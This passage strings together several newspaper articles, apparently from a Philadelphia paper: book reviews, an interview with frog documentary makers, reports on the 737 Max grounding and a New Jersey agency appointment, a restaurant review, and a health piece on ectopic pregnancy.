"ends this strange eventful history," will confound you yet again. Committing time and attention to a novel is always a trust exercise. This author never takes you where you thought you were going, but have faith: You wont be disappointed. Ron Charles reviews books for the Washington Post. Susan Choi appears at 7:30 p.m., May 2, at the Central Library, Free Library of Philadelphia, 1901 Benjamin Franklin Parkway. Free. Information: 215-567-4341, freelibrary.com Finding My Voice My Journey to the West Wing and the Path Forward By Valerie Jarrett Viking. 305 pp. $30 Reviewed by Randall Kennedy Valerie Jarrett was a senior adviser to President Barack Obama during both his terms; is a close friend to Michelle Obama; directed an important real estate firm; and has served as chair of the Chicago Transit Authority Board, chair of the Chicago Stock Exchange and chair of the board of trustees of the University of Chicago Medical Center. She sits on the boards of directors of Ariel Investments and Lyft and is a distinguished senior fellow at the University of Chicago Law School. Jarrett is, in short, a big deal. In Finding My Voice, she recounts her journey to the White House and beyond. She writes that her memoir stemmed from an interview for a Story Corps oral history conducted by her daughter, who asked her mother to advise a younger version of herself. It turns out I had a lot to say, Jarrett declares, and not just to a 30-year-old me, but to women and men of all ages. Finding My Voice can be divided into three sections. In the first, Jarrett describes her remarkable family and unusual childhood. She spent the first five years of her life in Iran, accompanying her parents on adventures around the world Ghana, Egypt, the Soviet Union. Homesick, they returned to Chicago, where Jarretts accent, shyness and light complexion attracted unwanted attention from African American neighborhood bullies. For the most part, however, she seems to have had a healthy, fun, love-filled childhood. Yes, she did have encounters with racists. But this daughter of college graduates attended Stanford and the University of Michigan Law School. The second section of her book focuses on Jarretts efforts to create a suitable career and household. Both fronts proved difficult. She was bored by corporate law practice. Worse, she married a surgeon who, in her telling, quickly showed himself to be selfish and unreliable. Notwithstanding her doubts, she had a child with him, only to find herself and her baby cruelly abandoned. Things turned around for her dramatically, however, when she left her private-sector job to work for the administration of Harold Washington, Chicagos first black mayor, and after she obtained a divorce. By dint of poise and perseverance, connections and luck, she climbed the municipal bureaucratic ladder, becoming a significant figure in Chicago civic affairs. The third section of her book is dominated by the extraordinary events that have stemmed from her affiliation with the Obamas. When Jarrett was deputy chief of staff to Mayor Richard M. Daley, she hired and befriended a young lawyer, Michelle Robinson, who introduced her to the man Michelle would soon marry, Barack Obama. Jarrett developed a close bond with the young couple, supported their ambitions, and moved upward with them as they conquered the Democratic Party and then captured the White House. Jarrett seems to be, in many of the most important respects, a thoroughly admirable person. Alas, Finding My Voice suffers from faintness of voice. Jarretts diffidence precludes the self-revelation that a reader rightly expects of a memoir. She does describe the unraveling of her marriage, which she portrays as the single biggest pratfall in her otherwise blessed life. But even in that portrayal, she pictures herself guilty only of naivete. What about subsequent romantic companionship? Was she open to that? Or did she forswear such relationships? Finding My Voice is mute on these questions. Jarretts account of her doings in the White House is similarly wan. A major reason some observers will be drawn to Jarretts memoir is her well-publicized closeness to the Obamas. She discloses nothing about them, however, that is remotely striking. For the most part, though, she offers superficial accounts that avoid self-criticism or controversy. She says not one word about the politics of abortion. And she says little in response to criticism that the Obama administration was too easy on Wall Street, insufficiently attentive to homeowners facing foreclosure, or evasive about racial conflict. Jarrett offers no opinion regarding the extent, if any, to which the administration bears responsibility for the ascendancy of Trumpism. Jarrett depicts herself as a race woman, self-consciously concerned with advancing the fortunes of black Americans. But she largely overlooks the intra-racial debates that vex politically self-aware black Americans. She says nothing, for example, that discloses her thinking on the extent, if any, to which blacks of her station i.e., those who have made it should affirmatively support historically black institutions, particularly colleges and universities. Nor does she disclose whether the racial makeup of her childs companions matters to her. Jarrett alone, of course, is ultimately responsible for her book. But it appears to be a product of the sort of commercial collaboration that is inimical to originality, insight, and authenticity. Randall Kennedy is the Michael R. Klein professor of law at Harvard Law School. Wildlife documentary maker and photographer Ajay Bedi, who is one half of the Bedi twins, discusses the trials and tribulations that they faced while filming The Secret Life of Frogs with Saimi Sattar. And why the amphibians are important to the survival of the human species Mowgli. That is what our school friends called us. During our holidays while they went to hill stations, we were busy visiting National Parks and wildlife sanctuaries where we spent time observing elephants and tigers, recalls Ajay Bedi, one half of the twins along with Vijay who together happen to be third generation of wildlife photographers in the country. Their father, Naresh Bedi, was the first Indian film maker to win the Green Oscars award (1984) and their grandfather Dr Ramesh Bedi famously photographed a python swallowing a jackal in 1937, setting the family on course of the profession that the coming generations would follow. But the twins do not rest on the laurels of the family but rather wear the mantle lightly or rather just accept it as a legacy. Their latest documentary, the internationally acclaimed, The Secret Life of Frogs, which took three years to shoot would soon be aired on the Animal Planet channel on May 1. The film has won prestigious awards like 2018 Cannes Corporate TV and Media Awards and five awards at 27th Edition of The Calcutta International Cult Film Festival, 2019. The film has also made its way to the nominations at International Nature Film Festival Godoll Hungary and 9th Dada Saheb Phalke Film Festival, 2019. However, it is not the first time that Ajay and Vijay have been awarded for their work. Way back in 2005, their film Policing Langur won the Green Oscar, UK, 2004 making the duo who were 25, the youngest Indians to win it. The documentary also won the second award for Best Wildlife Documentary at Vatavarn Film Festival, 2005. Another film Cherub of the Mist on the red panda has won 21 awards. When we were doing the red panda series, people wondered if we were filming it in China. They were not aware that this small, endangered animal is an Indian species!, says Ajay and goes on to add about their compulsion to document different animals, As wildlife filmmakers we want to show each animal as a beautiful creature which can contribute to our ecosystem and make the viewers interested. Once they are interested, they start talking about the different species and then the whole process of a focus on them starts. When films like these are broadcast on TV channels, our message goes to millions of people of different age groups. And The Secret Life of Frogs too is a quest for the same. Naturally while one has been used to films on animals like tigers or elephants or even blue whales, the amphibians are unlikely to cross anyones mind as candidates for a full-fledged documentary. During our research for another film we came across a purple frog about which nothing is known as it is a newly discovered species. When we researched further, we found that it is more difficult to film frogs because they come out only for a few days during a particular time in monsoon. It was something challenging while at the same time giving us an opportunity to show something new to both viewers as well as the scientific world. It was very exciting, he says. To really understand what it meant to shoot these tiny creatures, one also needs to understand that while for bigger animals the filming can be done standing or sitting or at least at eye level, in case of frogs, it had to be done lying down. When you talk about frogs, the first thing that comes to your mind is monsoon. You had to be in water and practically drenched all the time. Even though we were wearing proper gear, our boots filled up with water. Every day we went back after the shoot to start the process of drying ourself from head to toe, says Ajay. It was not just the physical difficulties that proved to be a hindrance which made the shooting extend to over three years in the Western Ghats. I would say it was all the factors combined together that made it take so long. We needed a lot of time to understand how the purple frogs behave when they come out. In the first year, as we did not know much about them, we were a little late to see the breeding or the courtship behaviour, he says and adds, In the second year there was a drought and at that time we were wondering whether we should go ahead with this project or not because if we dont see frogs how will we make the film? So what was it that the Bedi twins, as documentary makers, look for during the filming. We did not need a frog sitting or staring. We needed behaviour just the way it is needed with tigers or elephants. But with frogs, it becomes more difficult as they are small and with one jump they can vanish, he says and adds, Your eyes have to be like a binocular, wide open all the time because you are focussing on such a small creature and at the same time have to observe what they are up to. He elaborates by giving the example of a torrent frog which urinates before jumping. The scientific reason is that they distract their opponent especially when they are approaching the female. It is also a way to mark their territories. These frogs are known as dancing frogs, so we filmed them in slow speed where you could see them lifting their feet, toes and hands. So they extend one hand and then the other which comes out beautifully. They actually appear to be dancing, he says. However, there were other things that they learnt along the way. We have filmed them up close and looked at them right in their eyes. They have beautifully patterned ones. We also recorded their calls and scientists are studying what impacts those. Overall this film showcases the frogs in a very beautiful, funny and at the same time a scientific way which will definitely create an awareness and a different image of these amphibians, he says. Another thing that they observed while filming the rare purple frog, which has inhabited the earth since the time of the dinosaurs, is that they have big bodies with short hands and look like water balloons. The males are smaller and females are bigger and the former tries to impress the female The whole process is quite impressive. Finally, when he manages, he rides the female on back and lays eggs, he says. Moreover, the number of females is lesser as compared to males so naturally the breeding is limited. Additionally, for the breeding to take place the environment has to be precise. If there is too much or too little rain, they dont breed. Naturally it means that climate change will have drastic implications for the species. Ajay puts it into perspective, The frog population has declined at an alarming rate worldwide. Up to 200 species have disappeared completely since 1980 which is not normal. The environment, pollution, infection, habitat loss climate change and even harvesting of food is affecting them. Very similar to humans, frogs too are developing deformities like mutation or growing an extra limb, missing eyes or deformed feet which make an important point that frogs are an indicator species that live both on land and water. They are the first ones to get affected and scientists say that what affects them also harms us, he says and adds, In certain areas the purple frogs have been impacted by dam construction as there is a narrowing of streams. The continuation and existence of frogs is important as they clean up water bodies as do tadpoles. If we can protect the frogs and the ecology around them, then we are protecting ourselves, our resource and humans. Just like by saving tigers or any other animals in the national park, we are protecting that forest and ecosystem around it. It is the circle of life, he says. But shifting the focus from the subject of the film to its makers, the fact that the Bedis are twins one assumes would facilitate the process of filming. Ajay concurs, We are blessed to be brothers and on top of that we are twins so we do share a bonding and an understanding. If Vijay is filming and an object has to be moved away or he has to take a different position, I know it automatically, says Ajay who is more inclined towards post production while his twin is the first hand at camera. When we sit down together we decide the shots that we can take. In this film, there is a sequence where the torrent frogs tap their feet. We edited in a way that it looks like a tap dance. So we have incorporated a scientific behaviour and viewers can relate to it. Ultimately wildlife films are for a global audience and we have to keep that in mind. The film also reflects their funny and different side, he says as he chuckles and signs off making us to look forward to the airing of the documentary. An American Airlines Boeing 737 Max 8 aircraft approaches to land at Miami International Airport (MIA) in Miami on March 12, 2019. Read more American Airlines has estimated the grounding of Boeing 737 Max 8 aircraft will have a $350 million impact on the company in 2019 meanwhile posting record first quarter revenue of $10.6 billion, according to the company. It estimates that in just the first quarter, Max 8 groundings cost the company $80 million in income and resulted in the cancellation of 1,200 flights. We want to thank our 130,000 team members for the outstanding job they did to take care of our customers, despite the challenges with our fleet during the quarter. Their hard work led American to record revenue performance under difficult operating conditions, CEO Doug Parker said in a statement. Although the Max 8 aircraft represent a small portion of the airlines fleet, the grounding had an outsized impact on the companys income, the company said on a call with analysts and media Friday morning. The company operates 24 Boeing 737 Max 8 aircraft in its fleet, all of which were grounded by a Federal Aviation Administration order in March after the Ethiopian Airlines flight 302 crash drove the death toll resulting from the aircraft to 346. The U.S. and other countries put a halt on flights on the Max blaming the planes anti-stall software. We are confident the max will be re-certified prior to August 19, American Airlines Chief Operating Officer Robert Isom said Friday of the companys talks with the FAA and Boeing. The company has removed the planes from its fleet through that date. Parker said that it had previously told the FAA and Boeing it needed 95 percent certainty when deciding the August 19 date. Southwest Airlines, which operates the largest fleet of Max 8 aircraft in the country, has cancelled its flights on the plane through August 5. The company estimated its had to re-accommodate 700,000 customers for 15,000 flight cancellations through mid-August resulting directly from the grounding order. American also estimates rising fuel prices will cost the company $650 million more than it had previously anticipated, though CEO Doug Parker told analysts the costs were not much higher or much different than they were a year ago. New Jersey Gov. Phil Murphy addresses an audience at the Betting On Sports America conference on April 24, 2019, in Secaucus, N.J. (AP Photo/Julio Cortez) Read more Gov. Phil Murphy on Friday appointed a former partner at Goldman Sachs to take over as chairman of the board at the troubled New Jersey Economic Development Authority, which has come under fire for poor oversight of billions of dollars in tax incentives for businesses. Kevin Quinn, who spent more than 20 years at Goldman before starting an advisory and investment firm, takes the spot of energy executive Laurence Downes, an appointee of former Gov. Chris Christie, who stepped down last week at Murphys request. Out of five Christie-appointees to the board whom Murphy pressed to resign, Downes was the only one to do so, NJ.com reported. Reclaiming New Jerseys status as an economic power requires a strong and focused EDA that will work tirelessly to implement the policies our economy needs to grow, Murphy said in a statement. Economic development is much more than providing tax incentives to a few big corporations, and requires investing in our diverse people, ideas, and businesses. Murphy said hes confident that Quinn "will be able to advance our vision for a new economy in which companies flourish and workers prosper. Quinn retired from Goldman in 2012 as co-head of the firms global technology banking business. The company he went on to found, Genki Advisory, has more than 30 companies in its portfolio, across tech, consumer and health care sectors, according to the governors office. The Essex County resident also chairs the board of Brady, the national gun violence prevention group. It is clear that the Economic Development Authority is in dire need of reform," Quinn said in a news release, and I am committed to realizing Gov. Murphys vision of a stronger and fairer economy, and rebuilding our economy from the middle class outward. A special task force, which Murphy put in place in January, continues to investigate the tax incentive program. Earlier this month, the task force made its first criminal referral to law enforcement, citing evidence of unregistered lobbying on behalf of special interests that affected legislation for the tax credits. More than a half-dozen progressive groups across New Jersey issued statements in support of the board leadership change, some decrying the tax incentive program as corporate welfare. For too long, the EDA has served as a tool for the politically connected to enrich themselves and their friends at the expense of taxpayers, said Sue Altman, who sits on the board of South Jersey Women for Progressive Change. "That must stop, and were going to continue closely watching the EDAs activities to ensure that promised reforms are carried out. Businesses pledging to relocate in Camden and create jobs were approved for $1.6 billion in tax breaks between 2013 and 2017. A report commissioned by the Rowan University/Rutgers-Camden Board of Governors, and released in January, said recipients of the incentives had committed to making more than $1 billion in capital investments in Camden, and created an economic environment for other businesses to open or expand their operations. On Friday, Ronsha Dickerson of the Camden We Choose Coalition, said the citys residents want an EDA board "that prioritizes equity, racial justice, and sustainability. The new appointee must intentionally include the people most affected by the economic trajectory of urban cities in New Jersey," Dickerson said. This has not happened in the agencys past. Dealers set up their booths at the Navy Yard for the 2011 Philadelphia Antiques & Art Show. This year's show will open this weekend. Read more Grand pianos. Your grandparents floral china. Heavy, dark dressers. Crystal and collectible figurines, such as Lladro and Hummels. And fur coats. Mischa Greenberg has seen them all bursting out of closets and attics at her baby boomer client homes around Philadelphia. And, she says, all that stuff isnt worth much. People cant even give their things away, because young people dont collect, said the founder of Moves-Made-EZ.com, who specializes in downsizing and moves for Boomers. The market for antiques, older furniture, and collectibles once a popular alternative asset today has become a mediocre financial investment. Thats in part due to the ocean of brown furniture and antiques flooding the marketplace from downsizing boomers, a flood that experts estimate began about 10 years ago. Only the very highest-end jewelry will fetch a good price for resale, she said. Most of it isnt popular. The millennials and Gen Xers dont dangle emeralds. And the fur coats I put on eBay? Most of them sell for between $50 and $500 to buyers in China, said Greenberg. Even military collectibles on the lower end of the price scale arent maintaining value. Civil War-era swords, for example, sold for $2,000 a decade ago, said art appraiser and former FBI investigator Robert Wittman. Today, they go for $800 to $850 for a standard-issue sword, Wittman said. There are exceptions: Generals swords with their names inscribed stay high in price. But overall, this trend isnt good for the industry because new, young collectors arent joining the market. Young people would rather have a top-of-the-line iPhone than a grand piano, he added. The desire for hand-me-down furniture evaporated due to taste and economics. Millennials may enjoy antiques but cant afford them, or dont have space, as rents rise and living spaces shrink. Young people have built-in dressers, drawers, and closets not furniture thats big and heavy. Millennials dont make enough to be able to buy the big homes and apartments. They rent, and studio or townhouse rentals in Philly are small. Even the free furniture from mom and dad isnt finding a home, Wittman said. As boomers age, all their stuffs glutting the market. Theyre the biggest population, and as they age, theres so much out there that the bottom has fallen out, said Wittman. High-end colonial furniture from the 1700s, collected by the Winterthur Museum and other institutions, still fetches exceptionally high prices. But those pieces are not what drives the antiques secondhand buyer who instead wants everyday usable furniture. Briggs or Bunchs auctions show large amounts of once-pricey furniture selling for discounts. At an auction this year, a six-piece mahogany Chippendale-style bedroom set with ball-and-claw feet sold for just $750. Wittman himself just bought six high-end chairs made in North Carolina, which retail new for $2,500. I got them for $200 at Briggs Auction, headquartered in Garnet Valley, he said. However, an Arne Jacobsen red chair and ottoman, with straight midcentury modern design, fetched more than $3,500 at a recent Briggs auction. Its a trend that Philadelphia auctioneers, such as Freemans, have tried to capitalize on by featuring affordable, midcentury modern pieces that appeal to millennials. A member of the National Association of Senior Move Managers (NASMM), Greenberg says she has worked with at least 400 families, and the conversation is often awkward when getting rid of their onetime status symbols. I have a dozen grand pianos come through my business per year. One or two are resold, the rest are donated. Cunningham Piano just bought back a piano from a client, she said. In another case, she tried to resell a $60,000 grand but got no response. There was a time everyone had a piano in their house, it was like a coffee table. You had to have one. Now, in some cases, Im forced to take them to the dump, she said. Its worth checking out prices at the Philadelphia Antiques & Art Show, which is taking place Friday through Sunday. General admission is $20 per person. For more information, visit www.paas2019.com. Photograph your stuff If you cant bear to part with something, take a photograph of it for sentimental value, said Clemence Scouten, founder of Attics Anonymous. She helps families create personal histories of their relatives and heirlooms. When your parents are gone, youre attached to furniture or china or stemware. But you can take a picture and make a book out of it, Scouten said. My mom was French. My grandmother had an enormous hutch for china and flatware. It followed her throughout her life. But my mom couldnt sell it, and it didnt fit in an apartment, she said. When my mom died, we sold everything, and I went out to my car and wept. Its complicated. She advises families to sell expensive pieces of art and divide proceeds among heirs. You sell it and share the cash. There are ways to preserve what was meaningful about the object without the object itself. Thats where there is opportunity. Dont put it in storage. Take pictures of it and make a book, explaining where and from whom it came, said Scouten. She charges clients a $75 hourly rate to organize, and a flat rate to write books about their families and possessions. One client wanted a book about her moms hats," she said. "That kind of emotional association you can pass on. Where to unload your stuff Fans of 93.3 WMMRs morning broadcasts can rest easy knowing that Preston Elliot and Steve Morrison wont be going anywhere at least for the next few years. The morning hosts have signed a deal to continue broadcasting with MMR. That station did not indicate the length of the duos new contract, and rather only noted the agreement is a multi-year deal extension for Preston & Steve to continue on at the Beasley Broadcast Group-owned station. Steve and I are so thrilled that the plan we set in motion many years ago to feign talent in the radio industry has yielded such wonderful results, Elliot said in a statement. None of this, not one second of this, would have been possible without the friendship and support of the people of Philadelphia who have stayed with us throughout the years. This May marks the duos 14th year broadcasting with WMMR, which Elliot and Morrison first joined back in 2005. Since then, they have been known as the hosts of Philadelphias top-rated morning radio show. Ive never worked with a more dedicated, talented, and hard-working show, MMR program director and Beasley rock format brand manager Bill Weston said. As a PD, I dont know what else I could ask for. Last year, Elliot and Morrison celebrated their 20th year in Philadelphia radio, having started together at Y100 back in 1998 alongside former co-host Marilyn Russell as Preston, Marilyn & Steve. As Elliot told the Inquirer at the time, there is no end in sight for the pair. We want [our] career to continue and, eventually, let the show run its course, he said. Hopefully by our own decision. We plan on going until were done going. Fia Berisha talks about breathing the pure air of a fresh start when explaining why she named her new place Aether. She might be the first to relate this slice of once-gritty Frankford Avenue to that rarefied zone of frictionless atmosphere that fills the heavens above the clouds. The slender, sleek, and deceptively deep new seafood restaurant-wine bar she recently opened at the corner of East Berks occupies the northernmost reaches of the hipster heaven known as Fishtown. It sits just south of where the Frankford rocket busts through the gentrifying ozone into the even hipper space of the Kensington cosmos. The astro-geography matters only as a point of reference in charting the steady northern trajectory of ambitious restaurant prospecting across one of Phillys fastest-evolving neighborhoods. A $28 lobster roll here would have been a laughable folly of ambition overreach 10 years ago. Today, I know more than a few early Fishtown gentrifiers who still view Aethers high-$20s entrees as lofty. Ive got some culinary quibbles with Aethers lobster roll: too small, with too much green tobiko, and not enough firmness on the lightly cooked meat. But the mere notion of such luxuries is no longer out of place on an avenue where upscale spots like Suraya and Wm. Mulherins Sons are grilling even pricier dry-aged chops, whole fish, and Caledonian head-on prawns for sold-out crowds. Might as well face it with a raw-bar tower before you and fizzy glass of Pet-Nat in hand Fishtowns scrappy gastropub pioneer days are behind it. That lobster roll was one of the few disappointments on an appealing menu with plenty of fun grazing options that largely made me happy as a razor clam splashed in smoked buttermilk and dill. (Definitely do not miss that raw-bar highlight.) It was that bristling urban energy paired with an intimate neighborhood vibe that first attracted Berisha to Fishtown to begin with, a magnetism strong enough to detour her frequently on a commute between the King of Prussia Mall and Princeton, where she manages branches of Mistral and Elements for chef Scott Anderson and his partner, Stephen Distler, a former investment banker. She still manages those restaurants, a workload familiar to someone who worked a deli job regularly after school from the time she was 11. But Berisha, now 33, has found a home she loves in the rowhouse apartment above the former thrift store shes converted into Aether, a chain of rooms clad in Nordic-style wood with granite, gray tones, leather chairs, and bubble-shaped amber lights fashioned from favorite old wine bottles. Theres actually people my age here, she said of Fishtown. I can have a life, build a restaurant, and be happy working 90 hours a week. Her bar leans toward indie natural wines from Austria, Portugal, and Slovenia, as well as Basque whimsies like an effervescent pink Txakoli. A citrus-forward cocktail list comes with frequent notes of smoky mescal, house infusions, and absinthe. There are creative mocktails, too though our servers innocent but indiscreet conversation with one guest inadvertently obliged her to announce her pregnancy to the table. Theres a sophisticated sheen of fancy here that seems still like a novelty this far north on Frankford Avenue. And it helps to have benefactors like Anderson and Papa Steve, who not only helped contribute a major investment, but drew on their deep stable of chef talent in Chris Boyce, 36, a veteran of both Mistral and Elements. The globe-hopping influence of those kitchens is clearly evident in the international accents to this seafood menu, from the cuminy chorizo spice of house-made shrimp sausage to the various curries (Thai and Indian) that inform sauces, plus nods to Louisiana and the Middle East. The impact of this slightly retro fusion approach delivers less of a wow in the context of one of the citys most progressive dining neighborhoods than it does in a college town or the chain-ruled landscape of a mall, where this companys restaurants have reliably brought refreshing three-bell blasts of fresh air. Considering that history, Aether might be viewed as a bit of a mild letdown. But if one comes to Aether on its own terms without such lofty expectations, it has plenty of appeal as a next-gen neighborhood restaurant trimmed with a dose of extra ambition and tony style. A good raw bar is always an asset. And Aethers offerings are worthy, with clean, cold, and well-shucked oysters pooling with briny liquor (try the complex Kusshis and Purple Mountains from the West Coast) and fleshy littlenecks from New Jersey. I loved the citrus whiff of grated lime zests that dusted the sweet raw scallops sliced down into their shells edged with a soy ring of tangy ponzu. There are some familiar items on this menu that are perfectly good because theyre made with quality ingredients, even if they dont exactly break new ground. Like the hamachi sashimi over cucumbers marinated in galangal oil and spicy Korean vinegar two garnishes that could have been dialed-up one notch. The shrimp po-boy is all wrong (except for the waffle fries) with a bulky roll that overshadowed the crustaceans and a gratuitously overspiced aioli. The plancha-seared octopus, whose thick arms looped like a bike lock around chorizo and crispy fingerlings, would have been fantastic if they were more tender. The thickly diced tuna tartare was tossed with avocado, cucumbers, and edamame beans in a way that reminded me a bit too much of a mundane poke lunch. Not ho-hum? The caviar-like tin of orange trout roe layered over creme fraiche seasoned with yuzu kosho (a Japanese chili-citrus paste). This indulgent starter (currently off-menu, but available by request) embodied the whimsical spirit of raw-bar luxury, though at $18, a more affordable caviar stand-in. With house-crisped potato chips to scoop out every lusciously creamy corner jeweled with a briny roe, I happily washed it down with a crisp glass of Friulian orange wine. A sauteed salad of tender Jersey squid was also memorable, not only for its firmly spiced Thai chili glaze, but also for the myriad textures of charred green beans, watercress, puffed rice, cashews, and herbs that tangled in a bright lime-garlic vinaigrette. The most pleasant surprise among the starters was the alt-hummus dip called cauliflower tahini, a deeply caramelized puree of silky roasted cauliflower and sweet onions that crackled with a hazelnut dukkah on top. With soft wedges of house-baked naan flatbread for dipping, each swipe of the creamy puree brought the intricate snap of roasted nuts, sesame seeds, and fennel, the pop of mustard seeds, tart pickled raisins, and the paper-thin snap of shaved cauliflower florettes. This menu is in constant flux, as Boyce calibrates whats possible to consistently produce with a tight staffing situation that has quickly revealed the challenges of recruiting talent in Phillys hypercompetitive market. (Its not easy finding good help here, Berisha says.) The seafood risotto was one victim, dropping from the menu between visits, which is unfortunate, because it was excellent the rich saffron rice crowned with perfectly cooked shellfish and an aromatic orange cloud of guajillo chile foam. Boyce says that section of the menu will focus more on handmade pastas, which is fine. The tight nest of linguine had the potential to be great with its fistfuls of Jonah crab, broth, and bread crumbs, but the addition of maitakes an earthy mushroom I usually love overshadowed the mild Maine claw meat. The large plates were largely satisfying, and substantial enough to merit prices in the high $20s. A whole branzino, brined in Southeast Asian aromatics then dredged in rice flour and tapioca flour, emerged gloriously crisp from the fryer with downy moist flesh inside and a pungent house-made X.O. sauce for garnish. A gorgeously crisp fillet of pink-fleshed ocean trout came with an herbed green raita yogurt sauce festooned with colorful kumquats and a spring confetti of crunchy watermelon radishes and pea tendrils. The Spanish mackerel with Indian-style tomato curry, shellfish, and aromatic rice was tasty, but needed a few tweaks crisper skin and a thinner sauce to reach its potential. The lighter but boldly spiced Thai-style approach to the monkfish was more convincing, the fishs meaty medallions basking in a sweet, sour, and spicy riff on tom yum soup sparked with fresh mint and crumbles of lemongrass chicken sausage. As good as all those seafood options are, I cant stop thinking about Aethers burger. If youve been to Mistral, youll know its one of the highlights there, too, a familiar pleasure amid its more ambitious plates, updated with quality and class. And Boyce delivers it with similar success for Fishtown all 7 ounces of its dry-aged beef, bacon jam, garlic aioli, and molten Vermont cheddar, wrapped up in a juicy umami boom on a bun. At $16, its one of the best values on a menu that has clear upscale ambitions (hello, $39 steak-frites) but also shows Aether has potential to be a valuable neighborhood player for stylish grazing, oysters, and drinks. It may not be quite the rare air attraction its suburban siblings have become. But Aether still adds precious oxygen to a neighborhood already rising to the stratosphere. Aether Very Good 1832 Frankford Ave., 267-875-1832; aetherfishtown.com This sleek and slender seafood restaurant-wine bar from the group behind Princetons Elements and Mistral (also in King of Prussia) brings some upscale sophistication to the northern end of Fishtown. Framed by one of the more progressive corners of the city, this globally influenced kitchen doesnt have quite the trendsetting impact of its suburban siblings. But the ingredients are excellent, the flavors are good, and with a well-curated list of small-producer Euro wines and creative cocktails to complement the beautiful space, aether delivers an overall experience that adds another sheen of polish to Fishtowns evolution. MENU HIGHLIGHTS Raw bar: oysters, littleneck clams, razor clams in smoked buttermilk, scallops with citrus. Cauliflower tahini; Hamachi sashimi; beef tartare; creme fraiche and trout roe; squid salad; saffron seafood risotto; burger; ocean trout; Spanish mackerel; monkfish; citrus Napoleon; cheese plate. DRINKS The wine-focused bar features 14 by-the-glass choices and nearly 40 bottles, with an emphasis on Euro producers with a natural/bio bent. Glasses range from a complex Slovenian white (Movia Friulano) to deep Greek red (Kokkinos Xinomavro), a funky Pet-Nat (Domaine Tessier), and an effervescent pink Ameztoi Txakoli. Bottle selections, almost entirely $75 and under, feature quality producers like Bruno Paillard (one of my favorite Champagnes), Jean-Marc Brocard Chablis, Andrea Occhipinti, Gut Oggau Austrian reds. The cocktail bar offers creative combos, with consistent themes of smoky mezcal, absinthe accents, and citrus-forward profiles, but balance and craftsmanship varied between visits. WEEKEND NOISE Theres a high-energy vibe to the space with swelling tides of ambient noise, but in general, conversation is still possible. IF YOU GO Dinner Tuesday to Thursday, and Sunday, 4-10 p.m.; Friday and Saturday, 5-11 p.m. Closed Monday. Sunday brunch (beginning May 12), 10:30 a.m.-3 p.m. Dinner entrees $16-$39. All major cards. Reservations highly suggested weekends. Wheelchair-accessible at rear of restaurant. Street parking only. Michael McNally and Terry Berch McNally have set May 18 as their finale at London Grill, which helped lead Fairmount into a destination-dining neighborhood over the last three decades. The next day will be set aside as what Terry McNally calls a final farewell for all our staff, friends, family, amd customers. But it will be open May 19 for drinking and takeout food only. The McNallys also want to make it worthwhile for employees to stick around for the next three weeks by offering bonuses. Jack McDavid and Joe Spina, two investors from the neighborhood, have bought the landmark at 2301 Fairmount Ave. and its name. They also bought the Paris Wine Bar next door. McDavid, himself a restaurateur, said they were considering several potential operators. They want someone who would be open for breakfast, lunch, and dinner. Terry McNally said her own plans as well as those of her former husband, the chef, were uncertain, though she said she wanted to help restaurateurs with marketing and public relations. The McNallys notified staffers April 25 that they understood if they needed to leave before the closing date, but please keep us informed so we can have our last days as drama-free as possible. We will be giving closing bonuses for those of you who can stay till the end. Given the booming restaurant economy, its likely that employees will have little trouble securing new jobs. The corner property has been the site of a bar-restaurant since 1843, when a pair of Russian immigrants opened the Golden Lager Saloon. It later was McMenamins (no relation to the one in Mount Airy) and then, from 1968, a tavern called London. The McNallys bought London in 1991 after working there and elsewhere in the neighborhood for a few years. They upgraded the tap list to include craft beer and the menu to focus on thoughtfully sourced ingredients. They also were among the first to offer sidewalk dining when they received approvals in 1996. Today show co-anchor Jenna Bush Hager is pregnant with her third child. The 37-year-old shared the news with colleagues during Monday, April 22, 2019, mornings show. Read more On Monday, Jenna Bush Hager shared the happy news that she is expecting her third child. But on Tuesday, she revealed that she had suffered a frightening complication with her first pregnancy: it was an ectopic pregnancy, which occurs when a fertilized egg attaches outside the uterus, Before I had Mila [her first child], I had a pregnancy in my fallopian tube, the Today show co-host told Meredith Vieira during the show. Bush Hager, 37, who is the daughter of former President George W. Bush and first lady Laura Bush, said she took a pregnancy test after feeling morning sickness, then went to a physician to confirm the positive results. "I go to the doctors office and she said, Yeah, youre pregnant, we gave the blood test, but we cant find the baby. " I had no idea what an ectopic pregnancy was, Bush Hager added. They looked ... and the baby was in my fallopian tube. Bush Hager underwent emergency surgery to remove her fallopian tube. The crisis, she said, was very isolating, especially because her husband, Henry Chase Hager, was out of town at the time. But the couple went on to have Mila, now 6, and Poppy, 3. There is joy and there is pain, said the expectant mother. Her candor offers an opportunity to share a brief overview of ectopic pregnancy, according to experts. How does this problem occur? According to the American College of Obstetricians and Gynecologists, more than 90 percent of the time an ectopic pregnancy outside the uterus happens when a fertilized egg grows in one of the two fallopian tubes, which normally transport an egg, fertilized or not, from the ovary to the uterus. The condition is dangerous because the tube can rupture as the pregnancy grows, causing internal bleeding that can be life-threatening. Are some women at higher risk? About one in 50 pregnancies in the U.S., or 2 percent, are ectopic, according to the March of Dimes. Women who have already had an ectopic pregnancy are at slightly higher risk. Other risk factors include pelvic surgery, endometriosis, and certain sexually transmitted diseases. How is it diagnosed? At first, ACOG says, an ectopic pregnancy may feel like a normal one, with a missed period, nausea, and breast tenderness. Abnormal bleeding and low back pain may be early signs of trouble. A pregnancy test, pelvic exam, and an ultrasound exam are used to diagnose it. How is ectopic pregnancy treated? Because a fertilized egg cant survive outside the uterus and cant be relocated from the tube, it has to be eliminated. If the pregnancy is very early, an injection of methotrexate, an immune system supressant, can stop the cells from growing and the body absorbs the tissue over a period of about six weeks. If the fallopian tube is damaged or ruptured, surgery under general anesthesia is required. It is usually done with laparoscopy, using a camera and instruments inserted through small abdominal incisions. A laparotomy, which involves a larger incision, may be necessary in an emergency. What about having a baby in the future? The chances of having a successful pregnancy are high, and studies suggest 85 percent of women have a healthy pregnancy within two years of an ectopic one, according to the Ectopic Pregnancy Trust, a London-based nonprofit that helps people with pregnancy loss. While the removal of a fallopian tube does reduce fertility, it is not cut in half. The fallopian tubes have delicate finger-like structures that create a slight vacuum to suck an egg into the tube. When an egg is released by the ovary on the tubeless side, it manages to wind up in the tube on the other side about 20 percent of the time. Melissia Baker was just 10 years old when her mother realized there was a problem. She took Melissia to the doctor. A diagnosis of juvenile diabetes led eventually to kidney disease, a transplant, a rejected organ, and a new wait for another kidney. According to the American Kidney Fund (AKF), kidney disease is increasing at a faster rate than any other noncommunicable disease in the United States. African Americans such as Baker have a higher risk for kidney disease than people of any other race. And nearly half of all cases of kidney failure are caused by diabetes. Given that 96 percent of people with early kidney disease are unaware of it, the fund is pushing for more screening, as well as removing barriers for potential kidney donors. We spoke recently with Baker, 